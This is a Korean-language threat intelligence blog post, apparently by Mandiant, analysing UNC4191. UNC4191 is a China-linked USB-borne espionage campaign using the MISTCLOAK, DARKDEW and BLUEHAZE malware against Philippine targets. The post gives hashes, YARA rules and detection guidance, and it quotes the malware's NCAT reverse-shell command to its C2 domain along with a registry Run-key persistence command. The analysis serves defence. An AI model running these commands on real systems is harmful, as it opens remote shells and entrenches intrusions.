Blog

중국이 관여한 것으로 보이는 동남아시아 지역을 대상으로 한 스파이 활동

Ryan Tomcik, John Wolfram, Tommy Dacanay, Geoff Ackerman
Dec 02, 2022
8 min read
|   Last updated: Apr 03, 2023
Managed Defense
espionage
China

맨디언트 매니지드 디펜스(Mandiant Managed Defense)는 최근 필리핀을 타깃으로 USB 장치를 초기 감염 벡터로 활용하는 사이버 스파이 활동을 확인하였습니다. 맨이언트는 이를 UNC4191로 이름 붙여 추적 중이며 중국과 관련이 있는 것으로 평가하고 있습니다. UNC4191은 주로 동남아시아의 공공 및 민간 부분에 영향을 끼쳤습니다. 그리고 미국, 유럽, 아시아 태평양 지역으로 활동을 넓히기도 했습니다. 참고로 동남아시아 이외 지역을 노린 경우 해당 지역 조직의 시스템은 물리적으로 필리핀에 위치하고 있었습니다.

USB 장치로 피해 시스템을 감염시킨 후 공격자는 합법적으로 서명된 바이너리를 사용해 MISTCLOAK, DARKDEW, BLUEHAZE 세 가지를 포함하여 맬웨어를 로드하였습니다. 시스템이 손상되면 이름이 변경된 NACT 바이너리가 배포되고, 피해 시스템에서 리버스 쉘이 실행됩니다. 이렇게 하여 위협 행위자는 접근 가능한 백도어를 확보합니다. 이 맬웨어는 손상된 시스템에 연결된 이동식 드라이브를 감염시켜 후 자가 복제 과정을 거쳐 악성 페이로드를 다른 시스템으로 전파합니다. 그리고 이를 통해 보안을 위해 네트워크에서 격리한 시스템(Air Gapped System)에서 데이터를 수집하려는 시도를 합니다.

맨디언트 매니지드 디펜스는 지속적으로 위협 헌팅을 수행하여 기존 탐지 메커니즘을 우회하는 새로운 전술, 기술, 절차(이하 TTP) 증거를 찾습니다. UNC4191 활동도 마찬가지입니다. 맨디언트 매니지드 디펜스는 이번 캠페인에 대응할 수 있는 실시간 탐지 기법을 적용하여 유사한 침해 시도로부터 고객을 보호하고 있습니다. 맨디언트의 Adversary Operations 팀은 YARA 룰과 평가 방안(Mandiant Security Validation Actions)을 만들어 배포하였습니다. 이는 본 포스팅 뒷부분을 참조 바랍니다. 초기 위협 헌팅을 통해 발견한 것, 새로 식별한 맬웨어 패밀리, 위협 행위자의 목표와 동기에 대해 하나하나 알아보겠습니다.

발견된 맬웨어

맨디언트는 UNC4191이 다음 맬웨어 패밀리를 배포하는 것을 관찰하였습니다.

표 1. UNC4191 맬웨어 패밀리

맬웨어 패밀리

설명

MISTCLOAK

디스크의 파일에 저장된 암호화된 페이로드를 실행하는 C++로 작성한 런처입니다.

BLUEHAZE

NCAT 사본을 실행하여 하드코딩 된 명령 및 제어(이하 C2)에 대한 리버스 쉘을 생성하는 C/C++로 만든 런처입니다.

DARKDEW

이동식 드라이브를 감염시킬 수 있는 C++로 작성한 드롭퍼(dropper)입니다.

NCAT

다양한 보안 관리 작업을 수행하기 위해 Nmap 프로젝트용으로 작성한 CLI 네트워크 유틸리티입니다. 합법적인 목적으로 사용할 수 있습니다. 그러나 공격자처럼 악의적인 의도가 있을 경우 파일을 업로드/다운로드하고, 백도어 또는 리버스 쉘을 생성하고, 트래픽을 터널링 하여 네트워크 제어를 회피하는 용도로 쓸 수도 있습니다.

초기 감지

맨디언트 매니지드 디펜스 고객은 사전 예방을 위해 제공하는 위협 헌팅 서비스를 받습니다. 맨디언트의 위협 헌팅 팀은 MITRE ATT&CK 프레임워크를 참조해 엔드포인트 원격 측정 데이터를 살펴봅니다. 검토 결과를 바탕으로 고객 환경 전반에 걸쳐 해당 위협에 대한 가시성을 확보합니다. 그리고 분석 과정에서 고객의 EDR(Endpoint Detection and Repose)이 생성한 얼럿 같은 추가 정보로 데이터 세트를 보강합니다.

맨디언트는 맞춤형 도구로 위협 행위자의 활동을 식별합니다. 이때 MITRE ATT&CK 메트릭의 공격 시퀀스와 기술 클러스터에 연계해 활동을 구분합니다. MITRE ATT&CK 메트릭의 공격 시퀀스는 로컬 계정 생성(T1136.001) 및 로컬 관리자 그룹 추가(T1098) 같이 특정 순서로 실행되는 이벤트를 식별하는 데 유용합니다. 기술 클러스터는 특정 순서로 발생하지 않는 행위를 식별하는 데 유용합니다. MITRE ATT&CK의 공격 시퀀스와 기술 클러스터를 참조하면 보안 분석가는 수작업으로 검토해야 하는 데이터 양을 줄일 수 있습니다.

예를 들어 맨디언트는 그림 1과 같이 공격자가 도메인 트러스트(T1482)를 열거하고 도메인 및 로컬 그룹 권한(T1069.001, T1069.002)을 몇 분 내에 쿼리 하는 것을 관찰했습니다. 클러스터로 묶이는 세 가지 기술에 연관된 이벤트 수는 수십만 개가 될 수 있습니다. 공격 시퀀스 또는 기술 클러스터를 기준으로 살펴보면 주의 깊게 봐야 할 이벤트 수를 줄일 수 있습니다.

Visualization of technique sequencing
그림 1. 공격 시퀀스 및 기술 클러스터

맨디언트는 "Mandiant Intelligence: Staging Directories" 및 "Command and Scripting Interpreter: Windows Command Shell(T1059.003)" 헌팅 미션에서 변칙적인 이벤트 시퀀스를 검색하여 UNC4191 캠페인을 식별했습니다(그림 2).

Technique sequence that led to UNC4191 detection
그림 2. UNC4191을 탐지한 시퀀스

UNC4191이 사용한 기술을 참조하여 새로운 탐지 기회를 찾을 수 있었습니다. 이는 뒷부분에서 자세히 다루겠습니다.

UNC4191 맬웨어 감염 주기

UNC4191 캠페인의 전체 감염 주기는 그림 3과 같이 세 단계로 나눌 수 있습니다.

Figure 3: UNC4191 malware infection cycle
그림 3. UNC4191 맬웨어 감염 주기

1단계: MISTCLOAK

사용자가 손상된 이동식 장치를 연결해 저장소 볼륨의 root 디렉토리에서 이름이 바뀐 서명된 바이너리를 실행할 때 감염 체인이 시작됩니다(T1091). Removable Drive.exe 또는 USB Drive.exe라는 이름의 바이너리는 일레트로닉 팀(Electronic Team)사에서 개발한 USB Network Gate라는 합법적으로 서명된 애플리케이션입니다. 이는 MISTCLOAK 맬웨어를 로드하는 데 쓰입니다(표 2).

표 2. MISTCLOAK 맬웨어를 로드하는 데 사용되는 합법적인 USB Network Gate 바이너리

MD5: f45726a9508376fdd335004fca65392a

File Name(s): D:\Removable Disk.exe, D:\USB Drive.exe

Signature Subject: Electronic Team, Inc

Product Name: USB Network Gate

Original File Name: UsbConfig.exe

 

MD5: 707de51327f6cae5679dee8e4e2202ba

File Name(s): D:\Removable Disk.exe, D:\USB Drive.exe

Signature Subject: Electronic Team, Inc

Product Name: USB Network Gate

Original File Name: UsbConfig.exe

이름이 바뀐 USB Network Gate 바이너리는 이동식 저장 장치(T1574.002)의 실행 디렉토리에서 u2ec.dll이라는 이름의 MISTCLOAK.DLL을 로드합니다(표 3). MISTCLOAK는 암호화된 파일 usb.ini의 시작 프로그램으로 현재 디렉토리 또는 'autorun.inf\Protection for Autorun\System Volume Information\usb.ini' 경로에서 읽습니다. 맨디언트는 MISTCLOAK 샘플에서 PDB 파일 경로 'G:\project\APT\U盘劫持\new\shellcode\Release\shellcode.pdb'를 식별하였습니다. 여기에 있는 한자는 디스크 하이재킹을 뜻합니다.

표 3. MISTCLOAK 맬웨어 메타 데이터

MD5: 7753da1d7466f251b60673841a97ac5a

File Name: u2ec.dll

Compile Time: 2021-09-01T09:23:30Z

Exports: u2ec.dll

Size: 82,944

PDB filename: G:\project\APT\U盘劫持\new\u2ec\Release\u2ec.pdb (G:\project\APT\U Disk Hijacking\new\u2ec\Release\u2ec.pdb)

파일 로드 후 MISTCLOAK는 ‘explorer.exe "<drive>:\autorun.inf\Protection for Autorun"’ 명령을 사용해 사용자 파일이 저장된 이동식 저장 장치의 위치로 Windows 탐색기를 엽니다.

2단계: DARKDEW

파일 usb.ini에는 이동식 저장 장치를 감염시킬 수 있는 DARKDEW라는 암호화된 DLL 페이로드가 포함되어 있습니다. 이동식 저장 장치에서 실행되는 경우 DARKDEW는 `explorer.exe “<drive>:\autorun.inf\Protection for Autorun”` 를 통해 explorer.exe를 시작합니다. 여기서 <drive>는 "E"와 같은 이동식 드라이브 문자입니다. 그런 다음 DARKDEW는 ‘C:\ProgramData\udisk\disk_watch.exe’ 또는 ‘C:\ProgramData\udisk\DateCheck.exe’ 가 존재하는지 확인하고 둘 다 없으면 ‘C:\ProgramData\udisk’ 디렉토리를 생성합니다.

표 4. DARKDEW 맬웨어 메타 데이터

MD5: 6900cf5937287a7ae87d90a4b4b4dec5

File Name: N/A

Compile Time: 2021-09-09T08:45:31Z

Exports: N/A

Size: 123,904

PDB filename: G:\project\APT\U盘劫持\new\shellcode\Release\shellcode.pdb

그런 다음 DARKDEW는 ‘<drive>:\autorun.inf\Protection for Autorun\System Volume Information\’에서 ‘C:\ProgramData\udisk\’로 모든 파일을 복사합니다. 맨디언트는 이전에 DARKDEW(T1074.001)에 의해 손상되어 USB 장치에 복사된 시스템에서 생성된 Removable Dreive(16GB).ink 같은 파일을 식별하였습니다. 복사된 데이터에는 표 5에 표시된 파일과 확장자가 xlsx, docx, mp4, device, jpg, pptx, pdf, txt, ink 파일인 임의 파일이 포함됩니다.

표 5. DARKDEW가 이동식 저장 장치에서 손상된 시스템으로 복사한 파일

C:\ProgramData\udisk\disk_watch.exe

C:\ProgramData\udisk\libeay32.dll

C:\ProgramData\udisk\Removable Disk.exe

C:\ProgramData\udisk\rzlog4cpp.dll

C:\ProgramData\udisk\rzlog4cpp_logger.dll

C:\ProgramData\udisk\ssleay32.dll

C:\ProgramData\udisk\u2ec.dll

C:\ProgramData\udisk\USB Drive.exe

C:\ProgramData\udisk\usb.ini

C:\ProgramData\udisk\UsbConfig.exe

C:\ProgramData\udisk\wuwebv.exe

C:\ProgramData\udisk\DateCheck.exe

C:\ProgramData\udisk\example.jpg

C:\ProgramData\udisk\example.xlsx

그런 다음 DARKDEW는 이름이 바뀐 USB Network Gate 바이너리(예: Removable Drive.exe)를 ‘C:\ProgramData\udisk\disk_watch.exe’에 복사하고 ‘HKCU\Software\Microsoft\Windows\CurrentVersion\Run(T1547.001)’ 아래에 udisk라는 레지스트리 키값으로 지속성을 생성합니다. 마지막으로 DARKDEW는 ‘C:\ProgramData\udisk\DateCheck.exe’라는 파일을 시작한 다음 종료합니다.

표 6. DARKDEW 레지스트리 지속성

Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Value: udisk

Text: c:\programdata\udisk\disk_watch.exe

이동식이 아닌 드라이브에서 DARKDEW를 실행하면 동작이 좀 다릅니다. DARKDEW는 ‘C:\ProgramData\udisk\’ 디렉토리를 만든 다음 상위 실행 파일의 현재 디렉토리에 있는 모든 파일을 ‘C:\ProgramData\udisk\’로 복사합니다. 그런 다음 상위 실행 파일을 ‘C:\ProgramData\udisk\disk_watch.exe’에 복사하고 실행합니다. 지속성 메커니즘은 같으며 ‘C:\ProgramData\udisk\DateCheck.exe’도 시작합니다.

DARKDEW가 'disk_watch.exe'의 컨텍스트 내에서 실행되면 맬웨어는 이동식 저장 장치를 찾을 때까지 A에서 Z까지 볼륨을 열거하여 10초마다 시스템에서 장치를 검색합니다. 그런 다음 DARKDEW 맬웨어는 ‘<drive>\autorun.inf\Protection for Autorun\’ 디렉토리를 만들고 속성을 숨김으로 설정한 다음 'disk_watch.exe'의 현재 작업 디렉토리 컨텐츠를 해당 디렉토리 또는 ‘<drive>:\autorun.inf\Protection for Autorun\System Volume Information\’ 하위 디렉토리에 복사합니다. 이 기능은 자체 복제 및 네트워크에서 격리한 시스템(Air Gapped System)에서 수집할 수 있는 파일 전송을 위한 것으로 보입니다.

3단계: BLUEHAZE

비이너리 'DataCheck.exe'는 라이저 USA(Rizar USA)사의 Razer Chromium Render Process라는 합법적이고 서명된 애플리케이션의 이름이 바뀐 버전입니다(표 7).

표 7. BLUEHAZE 맬웨어를 테스트용으로 로드하는 데 사용하는 합법적인 라이저 USA의 바이너리

MD5: ea7f5b7fdb1e637e4e73f6bf43dcf090

File Name(s): DateCheck.exe

Signature Subject: Razer USA Ltd.

Product Name: Razer Chromium Render Process

Original File Name: RzCefRenderProcess.exe

이름이 바뀐 애플리케이션인 'DataCheck.exe'는 합법적인 파일인 'rzlog4cpp_logger.dll'을 로드합니다. 이 파일은 C 런타임 시작(T1574.002) 동안 BLUEHAZE 맬웨어 'RzLog4CPP.dll'에서 'getRoot' 함수를 호출합니다.

표 8. BLUEHAZE 맬웨어 메타 데이터

MD5: f632e4b9d663d69edaa8224a43b59033

File Name: RzLog4CPP.dll

Compile Time: 2021-09-09T09:27:12Z

Exports: log4cpp.dll

Size: 201,216

PDB filename: N/A

BLUEHAZE는 ‘C:\Users\Public\Libraries\CNNUDTV\’라는 새 디렉토리를 만든 다음 지속성을 위해 ‘HKCU\Software\Microsoft\Windows\CurrentVersion\Run (T1547.001)’ 아래에 레지스트리 키 값을 만듭니다. 다음으로 BLUEHAZE는 작업 디렉토리의 모든 파일을 ‘C:\Users\Public\Libraries\CNNUDTV\’로 복사한 다음 이름이 바뀐 NCAT 실행 파일 'wuwebv.exe'를 실행하여 하드코딩 된 C2 주소 ‘closed[.]theworkpc[.]com:80 (T1059)’에 대한 리버스 쉘을 만듭니다. 맨디언트는 리버스 쉘 상호 작용의 증거는 찾지 못했는데, 위협 행위자의 활동 기간이나 피해 시스템의 짧은 로그 보존 기간으로 인한 것이라 볼 수 있습니다.

표 9. BLUEHAZE 명령 실행

DateCheck.exe >


"cmd.exe /C reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v ACNTV /t REG_SZ /d \"Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\Users\\Public\\Libraries\\CNNUDTV\\DateCheck.exe\"\" /f"

 

cmd.exe /c copy *.* C:\\Users\\Public\\Libraries\\CNNUDTV\\"

 

cmd.exe /C wuwebv.exe -t -e c:\\windows\\system32\\cmd.exe closed.theworkpc[.]com 80

전망 및 시사점

UNC4191 캠페인이 시작된 것은 2021년 9월로 거슬러 올라가는 것으로 보입니다. 맬웨어의 특성을 고려할 때 확산 후기 단계를 보안 분석가들이 감지한 것이라 할 수 있습니다. 맨디언트는 이 활동이 중국의 정치적 및 상업적 이익과 관련된 정보 수집을 목적으로 공공 및 민간 기관에 대한 접근 권한을 획득하고 이를 유지하기 위한 작전이라고 생각합니다. 맨디언트가 식별한 영향을 받는 시스템을 기준으로 볼 때 필리핀에 있는 기업이 주요 목표인 것 같습니다.

캠페인 추적

맨디언트는 계속해서 UNC4191의 캠페인을 모니터링하고 있습니다. 이를 통해 전술 및 기술의 변화나 새로운 기능을 갖춘 도구 및 인프라 사용 등 주요할 만한 사항이 있을 경우 업데이트를 제공할 것입니다. 맨디언트가 UNC4191 과 같은 캠페인을 추적하는 방법에 대한 자세한 내용은 맨디언트 어드밴티지 인텔리전스 내의 'Threat Campaign' 기능을 참조 바랍니다.

탐지 기회

탐지 기회

MITRE ATT&CK

이벤트 내용

NCAT reverse shell execution arguments

T1059

wuwebv.exe -t -e c:\\windows\\system32\\cmd.exe closed.theworkpc[.]com 80

Parent or grandparent processes executing from Non-C:\ Drive Root

T1091, T1036

Process:

D:\USB Drive.exe

 

Child Processes:

> explorer.exe "D:\autorun.inf\Protection for Autorun"

> c:\programdata\udisk\disk_watch.exe

> c:\programdata\udisk\DateCheck.exe

 

Grandchild Processes:

>> "cmd.exe /C reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v ACNTV /t REG_SZ /d \"Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\Users\\Public\\Libraries\\CNNUDTV\\DateCheck.exe\"\" /f"

>> cmd.exe /c copy *.* C:\\Users\\Public\\Libraries\\CNNUDTV\\"

>> cmd.exe /C wuwebv.exe -t -e c:\\windows\\system32\\cmd.exe closed.theworkpc[.]com 80

Registry Run key persistence for binary in PROGRAMDATA

T1060

Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Value: udisk

Text: c:\programdata\udisk\disk_watch.exe

Registry Run key executing RunDLL32 command

T1218.011, T1060

 

reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v ACNTV /t REG_SZ /d \"Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\Users\\Public\\Libraries\\CNNUDTV\\DateCheck.exe\"\" /f"

File name of executing process doesn’t match original name

T1036, T1574.002

OriginalFileName: UsbConfig.exe

File Name: Removable Disk.exe, USB Drive.exe

 

OriginalFileName: RzCefRenderProcess.exe

File Name: DateCheck.exe

Windows Explorer process execution with folder path specified on command line

T1091

Parent Process Path: D:\USB Drive.exe

Process: explorer.exe

Command Line: explorer.exe "D:\autorun.inf\Protection for Autorun"

Mandiant Security Validation Actions

Mandiant Security Validation에서 다음 작업을 통해 보안 제어를 검증할 수 있습니다.

VID

이름

A105-454

Protected Theater - UNC4191, BLUEHAZE, Execution, Variant #1

A105-455

Protected Theater - UNC4191, DARKDEW, Execution, Variant #1

A105-466

Command and Control - UNC4191, DNS Query, Variant #1

YARA 룰

MISTCLOAK

rule M_Hunting_Launcher_MISTCLOAK_1 {

meta:

author = "Mandiant"

strings:

$s1 = "CheckUsbService" ascii

$s2 = "new\\u2ec\\Release\\u2ec.pdb" ascii

$s3 = "autorun.inf\\Protection for Autorun" ascii

condition:

uint16(0) == 0x5a4d and

filesize < 200KB and

(2 of ($s*))

}

DARKDEW

rule M_Hunting_Dropper_DARKDEW_1 {

meta:

author = "Mandiant"

strings:

$s1 = "do inroot" ascii

$s2 = "disk_watch" ascii

$s5 = "G:\\project\\APT\\" ascii

$s3 = "c:\\programdata\\udisk" ascii

$s4 = "new\\shellcode\\Release\\shellcode.pdb" ascii

condition:

filesize < 500KB and

(2 of ($s*))

}

BLUEHAZE

rule M_Hunting_Launcher_BLUEHAZE_1 {

meta:

author = "Mandiant"

strings:

$s1 = "Libraries\\CNNUDTV" ascii

$s2 = "closed.theworkpc.com" ascii

$s3 = "cmd.exe /C wuwebv.exe -t -e" ascii

condition:

uint16(0) == 0x5a4d and

filesize < 500KB and

(2 of ($s*))

}

침해 지표

유형

설명

Domain

closed.theworkpc[.]com

NCAT C2

MD5

7753da1d7466f251b60673841a97ac5a

MISTCLOAK

MD5

c10abb9f88f485d38e25bc5a0e757d1e

DARKDEW (usb.ini file)

MD5

6900cf5937287a7ae87d90a4b4b4dec5

DARKDEW (decrypted payload)

MD5

f632e4b9d663d69edaa8224a43b59033

BLUEHAZE

MD5

8ec339a89ec786b2aea556bedee679c7

NCAT

MD5

f45726a9508376fdd335004fca65392a

USB Network Gate (Legitimate Binary used for DLL Side-Loading)

MD5

707de51327f6cae5679dee8e4e2202ba

USB Network Gate (Legitimate Binary used for DLL Side-Loading)

 

MD5

ea7f5b7fdb1e637e4e73f6bf43dcf090

Razer Chromium Render Process (Legitimate Binary used for DLL Side-Loading)

File Path

C:\ProgramData\udisk

File and Malware Staging

File Path

C:\Users\Public\Libraries\CNNUDTV

File and Malware Staging

감사의 말

MISTCLOAK, DARKDEW, BLUEHAZE 샘플 분석에 도움을 준 Tobias Krueger와 Conor Quigley 그리고 MSV(Mandiant Security Validation) 작업을 만든 Matthew Hoerger에그 특별히 감사합니다. 그리고 기술 검토에 도움을 준 Tim Martin, Alexander Pennino, Nick Richard, Sarah Hawley에게도 감사의 말을 전합니다.